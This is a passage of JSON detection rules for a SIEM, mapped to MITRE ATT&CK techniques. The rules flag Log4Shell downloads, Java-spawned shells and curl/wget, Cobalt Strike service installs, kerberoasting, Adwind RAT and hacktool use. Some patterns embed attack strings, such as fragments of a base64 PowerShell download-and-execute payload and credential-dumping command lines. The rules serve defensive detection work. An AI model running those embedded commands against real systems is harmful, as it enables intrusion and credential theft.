*tshark* OR *openconnect* OR *proxychains*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1553"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1553", "name": "Subvert Trust Controls", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects invocation of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.", "enabled": false, "false_positives": ["Legitimate MWC use (unlikely in modern enterprise environments)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a591e53c-e709-f8af-58bb-66f50e01a91a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft Workflow Compiler", "query": "(process.executable.text:*\\\\Microsoft.Workflow.Compiler.exe OR (winlog.event_data.OriginalFileName:\"Microsoft.Workflow.Compiler.exe\" AND process.command_line.text:*.xml*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1127", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1127", "name": "Trusted Developer Utilities Proxy Execution", "reference": ""}, {"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nik Seetharaman", "frack113"], "license": ""}
{"description": "Detects Java class download in proxy logs, e.g. used in Log4shell exploitation attacks against Log4j.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "a897c0da-47f0-4e3f-50bc-5ffd568a5b33", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Java Class Proxy Download", "query": "url.original:*.class", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)"], "license": ""}
{"description": "Detects java process spawning suspicious children", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "07936441-cf27-1f44-ea0f-26c5b6000562", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Java Children Processes", "query": "(process.parent.executable:*\\/java AND process.command_line:(*\\/bin\\/sh* OR *bash* OR *dash* OR *ksh* OR *zsh* OR *csh* OR *fish* OR *curl* OR *wget* OR *python*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "be675127-66dc-0d60-ec3a-8e0fc9204b64", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Adwind RAT / JRAT", "query": "((file.path.text:*\\\\AppData\\\\Roaming\\\\Oracle\\\\bin\\\\java* AND file.path.text:*.exe*) OR (file.path.text:*\\\\Retrive* AND file.path.text:*.vbs*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Tom Ueltschi", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "be675127-66dc-0d60-ec3a-8e0fc9204b64", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Adwind RAT / JRAT", "query": "((process.command_line.text:*\\\\AppData\\\\Roaming\\\\Oracle* AND process.command_line.text:*\\\\java* AND process.command_line.text:*.exe\\ *) OR (process.command_line.text:*cscript.exe* AND process.command_line.text:*Retrive* AND process.command_line.text:*.vbs\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Tom Ueltschi", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "be675127-66dc-0d60-ec3a-8e0fc9204b64", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Adwind RAT / JRAT", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run* AND winlog.event_data.Details:%AppData%\\\\Roaming\\\\Oracle\\\\bin\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Tom Ueltschi", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects Judgement Panda activity as described in Global Threat Report 2019 by Crowdstrike", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6b60e088-d1a2-2869-893f-3e97e924fe8f", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Judgement Panda Exfil Activity", "query": "(process.command_line:*eprod.ldf OR process.command_line:(*\\\\ldifde.exe\\ \\-f\\ \\-n\\ * OR *\\\\7za.exe\\ a\\ 1.7z\\ * OR *\\\\aaaa\\\\procdump64.exe* OR *\\\\aaaa\\\\netsess.exe* OR *\\\\aaaa\\\\7za.exe* OR *copy\\ .\\\\1.7z\\ \\\\* OR *copy\\ \\\\client\\\\c$\\\\aaaa\\\\*) OR process.executable:\"C\\:\\\\Users\\\\Public\\\\7za.exe\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "Lateral Movement", "T1003", "T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects Kerberos DLL being loaded by an Office Product", "enabled": false, "false_positives": ["Alerts on legitimate macro usage as well, will need to filter as appropriate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0f95cb8c-acd1-f3eb-4e87-1d6c960b49f3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Active Directory Kerberos DLL Loaded Via Office Applications", "query": "(process.executable:(*\\\\winword.exe OR *\\\\powerpnt.exe OR *\\\\excel.exe OR *\\\\outlook.exe) AND file.path:*\\\\kerberos.dll)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Antonlovesdnb"], "license": ""}
{"description": "Detects kerberos TGS request using RC4 encryption which may be indicative of kerberoasting", "enabled": false, "false_positives": ["normal enterprise SPN requests activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "0a4d985f-0ae6-60ef-735d-aac8a39ba0e4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Kerberos Network Traffic RC4 Ticket Encryption", "query": "(event.dataset:\"kerberos\" AND (kerberos.request_type.text:\"TGS\" AND kerberos.cipher.text:\"rc4\\-hmac\") AND (NOT (kerberos.service:$*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["sigma"], "license": ""}
{"description": "Detects keywords from well-known PowerShell exploitation frameworks", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d1be241c-9091-9481-7ec1-8cb616eaf3c0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious PowerShell Keywords", "query": "powershell.file.script_block_text:(*AdjustTokenPrivileges* OR *IMAGE_NT_OPTIONAL_HDR64_MAGIC* OR *Microsoft.Win32.UnsafeNativeMethods* OR *ReadProcessMemory.Invoke* OR *SE_PRIVILEGE_ENABLED* OR *LSA_UNICODE_STRING* OR *MiniDumpWriteDump* OR *PAGE_EXECUTE_READ* OR *SECURITY_DELEGATION* OR *TOKEN_ADJUST_PRIVILEGES* OR *TOKEN_ALL_ACCESS* OR *TOKEN_ASSIGN_PRIMARY* OR *TOKEN_DUPLICATE* OR *TOKEN_ELEVATION* OR *TOKEN_IMPERSONATE* OR *TOKEN_INFORMATION_CLASS* OR *TOKEN_PRIVILEGES* OR *TOKEN_QUERY* OR *Metasploit* OR *Mimikatz*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sean Metcalf (source)", "Florian Roth (rule)"], "license": ""}
{"description": "Detects keywords that could indicate clearing PowerShell history", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "17f7495e-36b2-d46c-1a87-ecc74f0acf23", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Clear PowerShell History", "query": "((((powershell.command.invocation_details:*Set\\-PSReadlineOption* OR winlog.event_data.Payload:*Set\\-PSReadlineOption*) AND (powershell.command.invocation_details:*\u2013HistorySaveStyle* OR winlog.event_data.Payload:*\u2013HistorySaveStyle*) AND (powershell.command.invocation_details:*SaveNothing* OR winlog.event_data.Payload:*SaveNothing*)) OR ((powershell.command.invocation_details:*Set\\-PSReadlineOption* OR winlog.event_data.Payload:*Set\\-PSReadlineOption*) AND (powershell.command.invocation_details:*\\-HistorySaveStyle* OR winlog.event_data.Payload:*\\-HistorySaveStyle*) AND (powershell.command.invocation_details:*SaveNothing* OR winlog.event_data.Payload:*SaveNothing*))) OR ((powershell.command.invocation_details:(*del* OR *Remove\\-Item* OR *rm*) OR winlog.event_data.Payload:(*del* OR *Remove\\-Item* OR *rm*)) AND (powershell.command.invocation_details:*\$Get\\-PSReadlineOption\$.HistorySavePath* OR winlog.event_data.Payload:*\$Get\\-PSReadlineOption\$.HistorySavePath*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "Jonhnathan Ribeiro", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects keywords that could indicate clearing PowerShell history", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "17f7495e-36b2-d46c-1a87-ecc74f0acf23", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Clear PowerShell History", "query": "((powershell.file.script_block_text:*Set\\-PSReadlineOption* AND powershell.file.script_block_text:*SaveNothing* AND (powershell.file.script_block_text:*\u2013HistorySaveStyle* OR powershell.file.script_block_text:*\\-HistorySaveStyle*)) OR (powershell.file.script_block_text:(*del* OR *Remove\\-Item* OR *rm*) AND powershell.file.script_block_text:*\$Get\\-PSReadlineOption\$.HistorySavePath*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "Jonhnathan Ribeiro", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects keywords that could indicate the use of some PowerShell exploitation framework", "author": ["Florian Roth", "Perez Diego (@darkquassar)"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ad1d8067-c496-421f-ab38-2b6fdf192de9", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious PowerShell Keywords", "query": "powershell.file.script_block_text:(*System.Reflection.Assembly.Load\\($* OR *\\[System.Reflection.Assembly\\]\\:\\:Load\\($* OR *\\[Reflection.Assembly\\]\\:\\:Load\\($* OR *System.Reflection.AssemblyName* OR *Reflection.Emit.AssemblyBuilderAccess* OR *Runtime.InteropServices.DllImportAttribute* OR *SuspendThread* OR *rundll32*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects known hacktool execution based on image name", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "49aa39a1-675a-0d90-382a-f39da2cbc542", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "HackTool Execution", "query": "process.executable.text:(*\\/sqlmap OR *\\/teamserver OR *\\/aircrack\\-ng OR *\\/john OR *\\/setoolkit OR *\\/wpscan OR *\\/hydra OR *\\/nikto)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research"], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fba9b873-e4bb-5870-c801-8f77c9d23d58", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CobaltStrike Service Installations", "query": "(winlog.channel:\"System\" AND (Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\") AND ((winlog.event_data.ImagePath:*ADMIN$* AND winlog.event_data.ImagePath:*.exe*) OR (winlog.event_data.ImagePath:*%COMSPEC%* AND winlog.event_data.ImagePath:*start* AND winlog.event_data.ImagePath:*powershell*) OR winlog.event_data.ImagePath:*powershell\\ \\-nop\\ \\-w\\ hidden\\ \\-encodedcommand* OR winlog.event_data.ImagePath:(*SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTI3LjAuMC4xO* OR *lFWCAoTmV3LU9iamVjdCBOZXQuV2ViY2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMT* OR *JRVggKE5ldy1PYmplY3QgTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "Privilege Escalation", "T1021", "T1543", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Wojciech Lesicki"], "license": ""}
{"description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fba9b873-e4bb-5870-c801-8f77c9d23d58", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CobaltStrike Service Installations", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND ((winlog.event_data.ServiceFileName:*ADMIN$* AND winlog.event_data.ServiceFileName:*.exe*) OR (winlog.event_data.ServiceFileName:*%COMSPEC%* AND winlog.event_data.ServiceFileName:*start* AND winlog.event_data.ServiceFileName:*powershell*) OR winlog.event_data.ServiceFileName:*powershell\\ \\-nop\\ \\-w\\ hidden\\ \\-encodedcommand* OR winlog.event_data.ServiceFileName:(*SUVYIChOZXctT2JqZWN0IE5ldC5XZWJjbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vMTI3LjAuMC4xO* OR *lFWCAoTmV3LU9iamVjdCBOZXQuV2ViY2xpZW50KS5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMT* OR *JRVggKE5ldy1PYmplY3QgTmV0LldlYmNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMjcuMC4wLjE6*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "Privilege Escalation", "T1021", "T1543", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Wojciech Lesicki"], "license": ""}
{"description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement. We can also catch this by system log 7045 () In some SIEM you can catch those events also in HKLM\\System\\ControlSet001\\Services or HKLM\\System\\ControlSet002\\Services, however, this rule is based on a regular sysmon's events.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e6738502-2377-cb6f-487f-ac2bdc9843c4", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CobaltStrike Service Installations in Registry", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*HKLM\\\\System\\\\CurrentControlSet\\\\Services*) AND ((winlog.event_data.Details:*ADMIN$* AND winlog.event_data.Details:*.exe*) OR (winlog.event_data.Details:*%COMSPEC%* AND winlog.event_data.Details:*start* AND winlog.event_data.Details:*powershell*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "Privilege Escalation", "T1021", "T1543", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1569", "name": "System Services", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Wojciech Lesicki"], "license": ""}
{"description": "Detects known malicious service installs that only appear in cases of lateral movement, credential dumping, and other suspicious activities.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aac2b791-8519-4ee3-eedb-35e6f0f81b4f", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Malicious Service Installations", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceName:\"javamtsup\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1003", "T1543", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Daniil Yugoslavskiy", "oscd.community (update)"], "license": ""}
{"description": "Detects known sensitive file extensions accessed on a network share", "enabled": false, "false_positives": ["Help Desk operator doing backup or re-imaging end user machine or backup software", "Users working with these data types or exchanging message files"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "60d420bf-6e53-4771-a4fb-1baf972df2c8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Access to Sensitive File Extensions", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"5145\" AND winlog.event_data.RelativeTargetName:(*.pst OR *.ost OR *.msg OR *.nst OR *.oab OR *.edb OR *.nsf OR *.bak OR *.dmp OR *.kirbi OR *\\\\groups.xml OR *.rdp))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1039"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1039", "name": "Data from Network Shared Drive", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden"], "license": ""}
{"description": "Detects known sensitive file extensions via Zeek", "enabled": false, "false_positives": ["Help Desk operator doing backup or re-imaging end user machine or pentest or backup software", "Users working with these data types or exchanging message files"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "f76cd4c8-068f-57f1-82d1-27e0adcb3f7f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Access to Sensitive File Extensions - Zeek", "query": "(event.dataset:\"smb_files\" AND file.name:(*.pst OR *.ost OR *.msg OR *.nst OR *.oab OR *.edb OR *.nsf OR *.bak OR *.dmp OR *.kirbi OR *\\\\groups.xml OR *.rdp))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden", "@neu5ron"], "license": ""}
{"description": "Detects known suspicious (default) user-agents related to scanning/recon tools", "author": ["Nasreddine Bencherchali", "Tim Shelton"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "5187c342-92f4-620f-3861-bcb13b3e85f0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious User-Agents Related To Recon Tools", "query": "cs-user-agent:(*Wfuzz\\/* OR *WPScan\\ v* OR *Recon\\-ng\\/v* OR *GIS\\ \\-\\ AppSec\\ Team\\ \\-\\ Project\\ Vision*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f506ee5a-ec66-cd16-18d6-89230c233b6a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "KrbRelayUp Hack Tool", "query": "(process.executable:*\\\\KrbRelayUp.exe OR OriginalFilename:\"KrbRelayUp.exe\" OR (process.command_line:*\\ relay\\ * AND process.command_line:*\\ \\-Domain\\ * AND process.command_line:*\\ \\-ComputerName\\ *) OR (process.command_line:*\\ krbscm\\ * AND process.command_line:*\\ \\-sc\\ *) OR (process.command_line:*\\ spawn\\ * AND process.command_line:*\\ \\-d\\ * AND process.command_line:*\\ \\-cn\\ * AND process.command_line:*\\ \\-cp\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Lateral Movement", "T1550", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects launch of executable by calling the LaunchApplication function from pcwutl.dll library.", "enabled": false, "false_positives": ["Use of Program Compatibility Troubleshooter Helper"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ccc15d02-5e33-63b6-a321-a9722ba2996f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Code Execution via Pcwutl.dll", "query": "(process.executable:*\\\\rundll32.exe AND process.command_line:*pcwutl* AND process.command_line:*LaunchApplication*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Julia Fomina", "oscd.community"], "license": ""}
{"description": "Detects loading of essential DLL used by PowerShell, but not by the process powershell.exe. Detects meterpreter's \"load powershell\" extension.", "enabled": false, "false_positives": ["Used by some .NET binaries, minimal on user workstation.", "Used by Microsoft SQL Server Management Studio"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a726c529-2fb9-5301-3941-4430a9ca8940", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "In-memory PowerShell", "query": "(dll.path:(*\\\\System.Management.Automation.Dll OR *\\\\System.Management.Automation.ni.Dll) AND (NOT ((process.executable.text:(\"C\\:\\\\Windows\\\\System32\\\\dsac.exe\" OR \"C\\:\\\\Program\\ Files\\\\PowerShell\\\\7\\\\pwsh.exe\") OR process.executable.text:(*\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\WINDOWS\\\\System32\\\\sdiagnhost.exe OR *\\\\mscorsvw.exe OR *\\\\WINDOWS\\\\System32\\\\RemoteFXvGPUDisablement.exe OR *\\\\sqlps.exe OR 